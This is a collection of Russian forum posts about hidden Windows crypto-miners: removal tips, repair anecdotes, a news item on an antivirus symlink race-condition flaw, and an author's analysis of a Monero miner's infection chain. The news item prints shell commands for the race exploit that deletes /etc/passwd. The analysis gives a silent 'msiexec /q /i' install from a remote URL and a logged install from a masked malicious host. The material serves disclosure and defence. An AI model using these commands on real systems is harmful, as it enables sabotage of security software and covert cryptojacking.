При попытке установить антивирусники или спец софт для удаления подобной поеботы Майнер создаёт нам проблемы — закрытия, ошибки и т.д
Всплывают также разные процессы интересные связанные с вирус и один фейк svchost
Система дымит и лагает но
Модераторы сайта глубоко наплевать на вас, они видимо в доле или по братской любви разрешают таким раздачам висеть
Решается быстрой заморозкой всех связанных процессов в process hacker и успеть за 5 секунд открыть расположение фейкового taskhost процесса который откроет ProgramData/RealtekAudio
Windows покажет нам что тут пусто, это не так. Выделенные в process hacker процессы убиваем и сразу несём папку в корзину из «пути» и очищаем ее
После запускаем восстановление системы методами Windows или методом с cyberforum где есть много сообщений о подобном вирус
Эволюция как она есть
Порой так интересно наблюдать за эволюцией компьютерных вирусов. Вот так подхватишь какую-то дрянь, начинаешь разбираться и так увлекаешься этим делом, прямо чувствуешь себя Дроздовым. И ведь каждый раз найдешь что-то новенькое, уловки любой ценой защититься от всяких там юзверей.
Немного пояснения: в виду своей деятельности и лени пришлось раскурочать свою винду в решето. Понятно, что никаких антивирусов она и не видела никогда, да и тот же win defender отправлен в вечный сон реестром и гпо, открытая удаленка и вседоверяющий файервол. Никакой адекватной защиты в трёх словах.
Но и соответственно отлов вирусов, в частности майнеров, для меня не в новинку.
История: как-то заметил, что система стала виснуть на ровном месте. Лезем в диспетчер задач загрузка 100% и через секунду 10%. Классика.
Ну, думаю, приключение на 20 минут.
Лезу качать DrWeb cureit. Открываю сайт, браузер крашится. Ага. Знаем, проходили.
Лезем качать ProcessLasso. Любимый softportal, и тут нате переадресация на домен гугла.
Это дело тоже не в новинку: лезем искать файл hosts, и вот тут пошли интересности. А файла-то нету. Тут я списал на свою глупость, что вдруг где-то не там искал, все-равно к тому моменту cureit уже была скачана на ноут и перекинута на шару.
Ставим сканить систему, а параллельно находим ProcessLasso на другом сайте и начинаем выискивать процессы, которые как-то неадекватно кушают ресурсы. Таких оказалось несколько taskhost, который в диспетчере именовался COM Surrogate, audiodg и ещё парочка, которые позже cureit пачкой и почистил.
Что в этом оказалось интересного. При попытке открыть расположение файла происходил краш проводника и диспетчера задач, но во время фриза системы удалось углядеть путь до файла: C:/program data/realtek hd
Лезем туда напрямую, и. папки нет(видимость всех скрытых файлов папок включена). Не отчаиваемся, открываем консоль и пробуем искать оттуда. Все прекрасно видит, и даже позволяет залезть и полистать файлики.
По итогу cureit все почистил. И тут я вспомнил про hosts, полез туда же консолькой и о чудо, файлик-то на месте, открываем, удаляем тонну строк переадресации на 8.8.8.8, сохраняем, заменяем, радуемся жизни.
Позже узнал, что данный вирь сидит в новых репаках от "xatab'a". Что за люди. Ничего святого в них нет.
На этом я думал, что все и порешилось, пока на моих же глазах в систему удаленно не вошёл некий John — скрытая, как позже выяснилось, учетка с правами администратора. Но об этом уже в следующий раз, если кому-то будет это интересно.
Ответ на пост «Как удалить скрытый майнер»
1. Файл хост скрыт и его не открыть. Ищем его содержание в инете, вставляем в блокнот, сохраняем с названием host, и вставляем в папку etc с заменой.
2. Майнер блокирует запуск всех ехе, и не дает запуск антивируса? Скачиваем RogueKiller. Прога написанная на основе браузера инернетэкплорер. Запускается при ЛЮБЫХ запретах, и чистит их. После чего запускаем уже антивирус.
Никогда не было и вдруг опять!
— Вы компьютеры ремонтируете?
— У нас такая проблема: скачали обновление для программы «Очень нужная программа для бухгалтерии», а при установке антивирус ругался, мы два раза пробовали, потом антивирус отключили, программа обновилась, комп перезагрузился и теперь не включается. Вы поможете?
Как избавиться от вируса-майнера?
Проблема заключается в том, что где-то раз в плюс-минус 5 минут комп чуток подвисает — идёт 100% загрузка проца и, скорее всего, видюхи, судя по работе её кулера. Ну, и естественно, что эти тормоза не приносят ничего приятного в пользование компом.
Непосредственно перед этим скачком автоматически закрывается диспетчер задач, если он был до этого открыт.
Я пробовал гуглить проблему и вышел на киберфорум, где нашёлся топик со схожими симптомами. Там говорят, что это майнер и советуют скачать AVZ и в нём выполнить некий скрипт. Далее проблема стала за тем, что я просто не смог запустить AVZ, так как после открытия программы она тут же автоматически закрывается. В итоге я запустил её и выполнил скрипт из безопасного режима, однако это вообще ничего не дало.
Тогда я попробовал зарегиться на форуме и создать тему уже непосредственно по своему случаю, но сразу после авторизации браузеры стали автоматически закрываться 🙁
Также пробовал использовать ESET и Avast, но с ними та же беда, что с AVZ: я просто не могу их установить — они закрываются.
Винду переустанавливал месяц назад — это тоже не помогло. Встроенные в винду брандмауэр и защитник у меня если что включены, настройки параметров выдачи уведомлений о вносимых в ОС изменениях тоже включены и ничего не показывают. Кстати, что характерно, загрузка проца и подвисания не такие жёсткие, когда отсутствует доступ к инету.
В общем, я не знаю, что делать и надеюсь, что мне тут подскажут решение этой проблемы.
Кажись, нашёл гадёныша:
В папке C — ProgramData — RealtekHD находится файл taskhostw, который запускает периодически процесс taskhost с описанием COM surrogate!
При попытке зайти в папку место хранения файла папка тут же закрывается.
Гугл выдаёт, что это таки майнер (ситуация вообще 1 в 1 как у меня)
Как я чинил компьютер
Небольшой офис, чуток компов. Один из них начинает неадекватно себя вести. Нет прав на эксплорер, нет прав на диспетчер задач, глюки в ворде, тормозит, работать невозможно. Хозяйка компа говорит, что началось всё после тыкания в него флешкой. Ну, ок, вирус, думаю. Просканировал поверхность диска на всякий, качнул в сторонке лив сиди от каспера и запустил скан.
Тут приходит вторая мадам и говорит, что ей край нужно чота отправить в госорганы при помощи ЭЦП, которая на той самой флешке. Предупреждаю, что на ней, скорее всего, вирус, и тыкать ею в комп (ноут) нельзя. Но она говорит ,что сёдня — это крайний день для этого. Ну, ок, я предупредил..
Пока я гляжу на результаты сканирования, приходит эта вторая мадам и говорит могильным голосом, что у неё всё то же самое. Я про себя удовлетворённо подумал, что это хорошо, это, значит, точно вирус, а ей сказал встать в очередь. Между тем я понимаю, что сканирование затягивается и предлагаю разойтись. Все кто куда, а я домой с её ноутом подмышкой.
Дома я начинаю вникать в происходящее. Первым делом пытаюсь запустить сканирование ноута. Не выходит ничо. Каспер лив сиди пишет, что диск смонтирован только для чтения, и лечение будет невозможно, а дрвеб лив сиди при загрузке просит ввести логин и пасс при старте дебиана (на нём его лив сиди основан). Что за логин — неизвестно. Неудача.
Начинаю уже понемногу психовать. Думаю, выну диск, подрублю к своему компу и просканирую. Открываю крышку ноута — диска нет. Понимаю, что диск ССД М2. Нужно разбирать дальше. Разобрал дальше, воткнул таки себе, прогнал вебом, каспером. Нету вирусов.
Продолжаю психовать и начинаю нервничать.
Собрал всё взад, включаю. Всё по-прежнему. Обратил внимание, что в винде нет пункта «выключение», есть только «выход». Нажал. Логично появилось окно для авторизации и с полем для ввода пароля. Понимаю, что пароля не знаю. Выяснил, что его не было вовсе. Понимаю, что не понимаю, что делать.
Сварганил флешку с утилиткой Dism, прибиваю пасс, перезагружаюсь..
Нашёл в инете, как убрать пасс при помощи реестра и дистриба виндовс. Проделываю это вот всё, но на этапе net user мне cmd сообщает, что запрос отклонён, нет прав доступа.
Ладно. Стартую снова c dism, активирую задизабленную учётку Администратор. Перезагружаюсь. Выбираю Админа. Хоба! Просит ввести пароль.
Какой в ж0пу пароль? Ладно. Убираю пароль у админа. Перезагружаюсь. Снова не помогло. Пароль при загрузке чудом возвращается.
Понимаю, что это уже вызов, ибо подобного не встречал. Всякое было, от cabanas и до шифровальщиков, но тогда хотя бы знал, кто передо мной. Тут же гранды антивирусописательства говорят, что вируса-то нет. Но, тем не менее, кто-то при загрузке что-то делает..
Тут звонит владелица ноута и просит его вернуть. Хочет отдать его другому челу, а меня умоляет заняться тем, первым компом, ибо в пнд он позарез будет нужен. Он основной, там 1С и прочая требуха. Ну, ок. Отвёз ноут, стал долбиться с компом. Напомню, поведение у них идентичное.
Ради статистики решил загрузиться в безопасном режиме. Внезапно, но комп загрузился. Хм. Стал тупо перебирать всё, что запускается при старте. Стал отключать всякие обновления адобе, драйверы принтеров, службы, названия которых я не знаю ) Внезапно натыкаюсь, что служба сбора статистики (дословно не помню) Аваст отключаться не хочет. Пишет, что отказано в доступе. Немного поколебавшись, сношу Аваст. Перезагружаюсь. Вытаращив глаза, понимаю, что всё работает. Звоню товарищу, которому отдали ноут, прошу снести Аваст. И у него тоже всё заработало.
Вишенка на торте: Аваст у них был Про. Платный.
Итого угробил я на это всё полторы суток практически.
Как подозреваю, флешка была ни при чём, просто авасты обновились одновременно. А флешка — совпадение.
Потом я её пихал куда ни попадя и проверял всем подряд — никаких последствий.
Что это было со стороны Аваста — так и не понял. Но был немножечко в ..недоумении.
Такая вот история выходного дня.
Ответ на пост «Как удалить прячущийся майнер и понять что он вообще есть»
Для отслеживания подозрительных процессов очень удобен продвинутый менеджер процессов от самой майкрософт, называется ProcessExplorer.
Качается отсюда: https://docs.microsoft.com/en-us/sysinternals/downloads/proc. (сам сайт майкрософта, так что источник безопасен).
После запуска в меню выбираем эти два пункта:
И соглашаемся на условия конфиденциальности вирустотала.
Бинго, теперь у вас появится новая колонка в списке процессов, где отображается результат проверки на вирустотале, плюс проверка цифровой подписи запущенного файла. По нажатию на цифры сработки откроется страница вирустотала с отчётом.
ВАЖНО: сами файлы не передаются в вирустотал, он просто ищет там готовые результаты на файл с таким же хешем, так что особо мощный интернет не нужен! Если такого файла найденно не будет, то так и будет написано в данной колонке, и только по нажатию файл будет залит для проверки!
Так же, из полезных бонусов данной программы:
1) процессы отображаются в виде дерева, то есть вы видите, какими процессами они запущенны (на скрине показал кнопку активации данного режима)
2) можно вывести графики загрузки (память, проц, диск, видяха итд) для каждого процесса в таблице (правой кнопкой на название колонок, там выбрать пункты с «history» — это и есть графики)
3) Можно заменить этой программой встроенный менеджер процессов (для этого надо не просто открыть файл из архива, а сохранить его где-нибудь на компе)
4) продвинутые графики загрузки системы, открываются по нажатию на главный график сверху окна программы
Надеюсь, кому-то эта информация будет полезна. Сам использую данный инструмент уже лет 8, родной виндовый менеджер уже кажется убогим.
Ответ на пост «Вирус майнер nt kernel system и как с ним бороться. ( Когда открываю диспетчер задач фпс повышается )»
Эхх. где ты раньше был.
Тоже напоролся на этот вирус, пришлось долго мучаться, но всё же смог его удалить.
Если кому поможет, то боролся я с ним так: Пока искал инфу про этот вирус, напоролся на этот сайт: https://it-tehnik.ru/virus/virus-close-browser.html С него я скачал старую версию Касперского. Т.к. сайт не официальный, то вирус его не закрывал. Позже в самом Касперском я обновил его до актуальной версии и просто провёл сканирование и последующую очистку компа.
А теперь немного про сам вирус — это майнер, который весьма хорошо прячется. Как и многие другие вирусы, как только включаешь диспетчер задач, он перестаёт нагружать комп. Но он сам выключает диспетчер задач раз в минуту-две (точное время не засекал). Мой Windows Defender (винда не лицензионная) его практически не засекал. Всё что он находил — один файл, который после удаления он находил снова. и снова. и снова. Можно скачать другой антивирус, но при входе на официальный сайт он просто закрывал браузер. Казалось бы, можно скачать с другого сайта, либо с внешнего носителя, но и тут может выйти облом — этот вирус может не дать открыть некоторые антивирусы, либо не дать им провести проверку.
Может мой способ не самый лучший, но я всё равно хочу его опубликовать, мало ли кому поможет.
Типичный фейл
Было это когда вирус баннер прям поголовно был, ну убирать его не было сложно. Предлагал клиентам ставить касперского лицензию. Покупал оптом, ну и по одному продавал)).
Поставил очередному клиенту и заверил что с антивирусной защитой баннер он не словит. Проходит неделя, звонит, пыхтит, недовольный аж прям. Верните деньги, я опять баннер поймал. Мой вердикт, везите. Привозит значит системный блок. Баннер сперва убираю , а он рядом стоит, смотрит и тыкает меня, вот видите, видите, деньги верните.
Ну не может так быть что бы антивирус пропустил. Смотрю на значок Касперского а он серый (значит защита выключена, да не просто, а вручную). Тааак, спрашиваю, почему Касперский выключен, вы его отключали? Тык, мык, я не, да ну может быть. а он мне не давал на сайт 18+ зайти. Я говорю, на котором и впаймали баннер? Глаза опустил. Не мой косяк, с вас 500р. за удаления баннера. Занавес.
Kaspersky: Начало
Ответ на пост «Как я скрытый майнер искал»
Есть такая классная встроенная в винду штука — монитор ресурсов. Там есть первая вкладка «Обзор». Так вот, ее «классность» в том, что в отличии от диспетчера задач она продолжает показывать завершенные процессы, статус у них «Прерван». У меня эта штука постоянно открыта. Если слышу, что ноут загудел — смотрю в первую очередь в прерванные процессы. Там, как правило тусят виндовые «бекграунд таск» хост процессы, которые винда быстро прибивает как только видит активность пользователя. Как собсно майнеры и делают. 😉
Большинство антивирусов оказались подвержены атаке через символические ссылки
Исследователи из компании RACK911 Labs обратили внимание на то, что почти все антивирусные пакеты для Windows, Linux и macOS были уязвимы для атак, манипулирующих состоянием гонки (race conditions) во время удаления файлов, в которых обнаружено вредоносное ПО.
Для проведения атаки необходимо загрузить файл, который антивирус распознает как вредоносный (например, можно использовать тестовую сигнатуру), а через определённое время, после выявления вредоносного файла антивирусом, но непосредственно перед вызовом функции для его удаления, подменить каталог с файлом символической ссылкой. В Windows для достижения того же эффекта выполняется подмена каталога при помощи точки соединения (directory junction). Проблема в том, почти все антивирусы должным образом не выполняли проверку символических ссылок и, считая что удаляют вредоносный файл, удаляли файл в каталоге на который указывает символическая ссылка.
В Linux и macOS показано как таким способом непривилегированный пользователь может удалить /etc/passwd или любой другой системный файл, а в Windows DDL-библиотеку самого антивируса для блокирования его работы (в Windows атака ограничена только удалением файлов, которые в текущим момент не используются другими приложениями). Например, атакующий может создать каталог «exploit» и загрузить в него файл EpSecApiLib.dll с тестовой сигнатурой вируса, после чего перед удалением заменить каталог «exploit» на ссылку «C:\Program Files (x86)\McAfee\Endpoint Security\Endpoint Security Platform», что приведёт к удалению библиотеки EpSecApiLib.dll из каталога антивируса. В Linux и macos аналогичный приём можно проделать с подменой каталога на ссылку «/etc».
rm -rf /home/user/exploit ; mkdir /home/user/exploit/
while inotifywait -m “/home/user/exploit/passwd” | grep -m 5 “OPEN”
rm -rf /home/user/exploit ; ln -s /etc /home/user/exploit
Более того, во многих антивирусах для Linux и macOS было выявлено использование предсказуемых имён файлов при работе с временным файлами в каталоге /tmp и /private/tmp, что могло использоваться для повышения привилегий до пользователя root.
К настоящему времени проблемы уже устранены большинством поставщиков, но примечательно, что первые уведомления о проблеме были направлены производителям ещё осенью 2018 года. Несмотря на то, что не все производители выпустили обновления, им было дано на исправление как минимум 6 месяцев, и RACK911 Labs считает, что теперь вправе раскрыть сведения об уязвимостях. Отмечается, что компания RACK911 Labs давно занимается работой по выявлению уязвимостей, но она не предполагала, что с коллегами из антивирусной индустрии будет так трудно работать из-за затягивания выпуска обновлений и игнорирования необходимости срочного устранения проблем с безопасностью.
Продукты, подверженные проблеме (свободный антивирусный пакет ClamAV в списке отсутствует):
Comodo Endpoint Security
Eset File Server Security
F-Secure Linux Security
Kaspersy Endpoint Security
McAfee Endpoint Security
Sophos Anti-Virus for Linux
Avast Free Anti-Virus
Avira Free Anti-Virus
Comodo Endpoint Security
F-Secure Computer Protection
FireEye Endpoint Security
Intercept X (Sophos)
Kaspersky Endpoint Security
Malwarebytes for Windows
McAfee Endpoint Security
Webroot Secure Anywhere
BitDefender Total Security
Eset Cyber Security
Kaspersky Internet Security
McAfee Total Protection
Microsoft Defender (BETA)
Webroot Secure Anywhere
Криптоджекинг. Разбор случайного вируса-майнера под Windows.
Как-то раз на неделе обратился ко мне коллега из офиса, говорит, что его домашний компьютер вдруг начинает жутко лагать, самопроизвольно перезагружается, и т.п.
Я взялся посмотреть, что же это было.
Первым делом была проверена автозагрузка процессов и служб, как обычно делает большинство «мастеров», думая, что они при отключении там чего-либо полностью излечили компьютер от вирусов. Может быть раньше, со всякими WinLocker’ами или рекламными баннерами этот трюк и прокатывал, но времена меняются, и теперь технологии другие. В винде любых версий есть старые дыры, но вполне функциональные. Итак, первое, что видно при включении ЭВМ — открывается вот такое вот окошко (скрин не было сделать возможности с него, звиняйте, скрины пойдут дальше):
В автозагрузке, повторюсь всё в порядке:
После того, как компьютер был штатно заштопан двумя разными антивирусами, возникла идея исследовать этот файл, который система начала загружать. Но не всё оказалось так просто.
Итак, дальше расписано по шагам, каким образом работает этот вирус, и к какому конечному результату это приводит.
Шаг 0. Попадание первичного файла в систему.
Для того, чтобы в системе MS Windows инициировался какой-либо процесс, что-то должно его запускать. В первых версиях вирусов — ярлык вируса просто кидался в папку автозагрузки программ, в Windows 7 она находится по адресу:
%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
Потом вирусы стали добавляться в ветви реестра [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run] и то же самое в разделе HKEY_LOCAL_MACHINE, откуда удалить их было уже не так просто. Но оказалось, что в автозагрузку эти файлы можно и не добавлять, чтобы не провоцировать простенькие антивирусы. В системе существует «Планировщик заданий» (mmc.exe), куда прекрасно можно добавить задачу автозапуска какой-либо программы, и даже целую исполняемую часть командной строки (сценарий):
В таком случае на действия начинают реагировать лишь единицы антивирусов, никакие а**сты, макаффи и т.п. фри версии антивирей туда по большей части даже не суются.
Итак, я попытался зайти на тот адрес из окна (http://f******r.com/) в веб-браузере. Но, попробовав ввести тот адрес, да и вообще, какой бы адрес я не открывал, я получал заглушку на nginx:
Дальше я стал копать и выяснил, что бирюзовое окно — это рабочее окно системы BITS (Background Intelligent Transfer Service). Изначально он предназначен для быстрой передачи данных по специальному протоколу через команды приложений. Как оказалось, именно этот протокол (с 2016 года, по версии xakep.ru) стал часть использоваться для загрузки вирусов. Поэтому я подключился через этот протокол, используя команды PowerShell по оригинальному адресу:
И, вуаля, я получил какой-то файл, весом гораздо больше пустой веб-страницы:
Видимо, на сервере специальным образом настроены порты, чтобы при обращении именно от BITS был отправлен экземпляр этого файла. При этом, как выяснилось, неважно, какое название у архива — всегда будет получен тот же файл. Давайте исследуем его.
Шаг 1: Первичный файл загружен. Что это?
Я открыл файл в Hex-редакторе, чтобы распознать тип. Начинается он с MZP, значит файл исполняемый. В файле была обнаружена сигнатура Inno Setup, стало ясно, что это — файл инсталлятора чего-либо:
Шаг 2. Вместо установки этого файла я воспользовался утилитой Inno Unpacker, которая дала мне следующие файлы, содержащиеся внутри проекта:
Собственно, как оказалось, программа никаких файлов в себе не содержала — только скрипт install_script с описанием установщика, а так же скомпилированный фрагмент кода, выполненного на паскале. Вот файл скрипта:
Обратите внимание на параметры [Setup], а именно название программы, и выходное имя файла OutputBasenameFile (оно совпадает кое с чем на первой картинке).
Шаг 3. Также неизвестным оставался код программы CompiledCode.bin. Для того, чтобы расшифровать его, я воспользовался декомпилятором паскаль-фрагмента кода:
Шаг 4. Стало ясно, что данные внутри кода немного зашифрованы (обфусцированы) от посторонних глаз. Немного видоизменив код, я интерпретировал его на FreePascal’е, и получил следующий результат:
Собственно, здесь можно видеть копии команд, выполняемых в Windows через cmd shell. Здесь указана команда на мгновенную перезагрузку (скорее всего, отключает антивирус: во время выключения все программы закрываются, но сам код успевает исполнится, таким образом простые антивирусы не обнаружат загрузки кода). Зачем предназначена 5 строка (пингует локалхост), я точно не знаю — скорее всего это какие-то внутренние операции для работы вируса. Программа также передаёт на сервер данные о системе, её разрядности, производительности и т.п. отдельным потоком, это можно видеть в коде, но эту часть я вырезал из-за сложности интерпретации.
Подробно нас интересует четвертая строчка: что такое msiexec?
Шаг 5. Загрузка главного инсталлятора. Распаковка.
Для тех, кто слышит об этом в первый раз — да, не удивляйтесь. Вбив в командную строку такую команду: msiexec.exe /q /i (веб-адрес), начнется немедленная, скрытая и невидимая установка исполняемого кода с удаленного адреса в систему, если инсталлятор и скрипт собран в формате msi. Файл может даже не иметь сертификата подписи. В файле могут исполняться любые команды по созданию, перемещению, переименованию файлов внутри системы, добавления их в реестр и запуск. Зачем это было добавлено? Именно через эту подпрограмму система загружает обновления. Ничего не мешает закинуть туда свои скрипты и файлы.
Ситуация такая же, как и с первым файлом — если открыть этот сайт по http, он выдаёт заглушку массой в 233 байта. Если же обратиться по любому адресу через msiexec, то сервер посылает очередной архив, весом в 2,9 Мб. Скорее всего, это вызвано определенным использование портов и специальных команд системы. Но сайт в этот раз уже другой. Это может быть одно из сотен зеркал, все настроены одинаково — обратившись по новому домену через оригинальный BITS я получил файл, весом в 328 Кб, т.е. файл с паскалем. И наоборот.
Давайте посмотрим, что внутри инсталлятора, для этого распакуем его при помощи 7-zip как обычный архив:
Внутри инсталлятора (MSICEE2.msi) оказались два файла: unzip.exe и vcruntime140.lib.zip. Во втором архиве ещё два файла, но он запаролен. Для начала я исследовал файл unzip.exe:
Оказалось, что этот файл является неизмененной копией утилиты для систем Windows 2005 года, которая называется «Info-Zip UnZip», и являющейся простым распаковщиком zip-файлов. Вот, что будет, если её запустить:
Несмотря на древность, применение этой утилиты здесь оправдано, далее расскажу, почему именно. Итак, осмотрев файлы мы зашли в тупик — что делать? Программа изучена, а второй архив запаролен. Но при помощи архиватора 7-zip мы не смогли извлечь установочный скрипт из MSI-файла. Пришлось запустить этот инсталлятор на виртуальной машине с логгированием: такой командой: msiexec.exe /i http://revir.i********s.info/yskwozrivwuwc.txt /L*V log.txt
После чего из машины был вытащен лог установки, размером в 140кб. Пройдусь по его ключевым моментам:
Шаг 6. В одной из строчек виден пароль от архива: IBM644. Но обычный архиватор этот пароль не принимает — распаковываются файлы только оригинальным UnZip’ом при помощи этой команды.
Все файлы внутри архива — исполняемые библиотеки для системы типа dll или lib. Написаны они на C, декомпилировать их я смысла не видел. Возможно, именно в них содержится блок, занимающийся копированием вируса в системе, но так глубоко я их не копал. В песочнице после их регистрации в системе (папка TEMP) появился следующий файл: [612A9A]. Смотрим, что у него внутри:
Этот файл представляет собой json — конфиг, в котором видно ключевое слово CryptoNight и URL, логин и пароль от майнинг-сервера. Данный майнер майнит монету «Monero». Данный файл подозрительно совпадает с конфиг-файлом для Windows-версии майнера «****Rig»:
Скормив этот конфиг исполняемому файлу майнера (оконной версии), загруженному из интернета, действительно компьютер получил настоящую «работу», и видео при этом стало жутко лагать. В оригинальном конфиге прописано также исполнение без gui (фоновым процессом — никаких окон).
Собственно, это и есть конечный результат. Помайнил 10 секунд для него, чтобы сделать вам скрин, надеюсь, что вырученных за это время денег автору хватит как минимум на два билета до Канарских островов. Итого имеем сложный файл, прописывающий себя в нескольких местах системы, работающий на языках Pascal и C++, в итоге приводящий к запланированному запуску майнера. Берегите свои компьютеры. С вами был Kekovsky, специально для pikabu.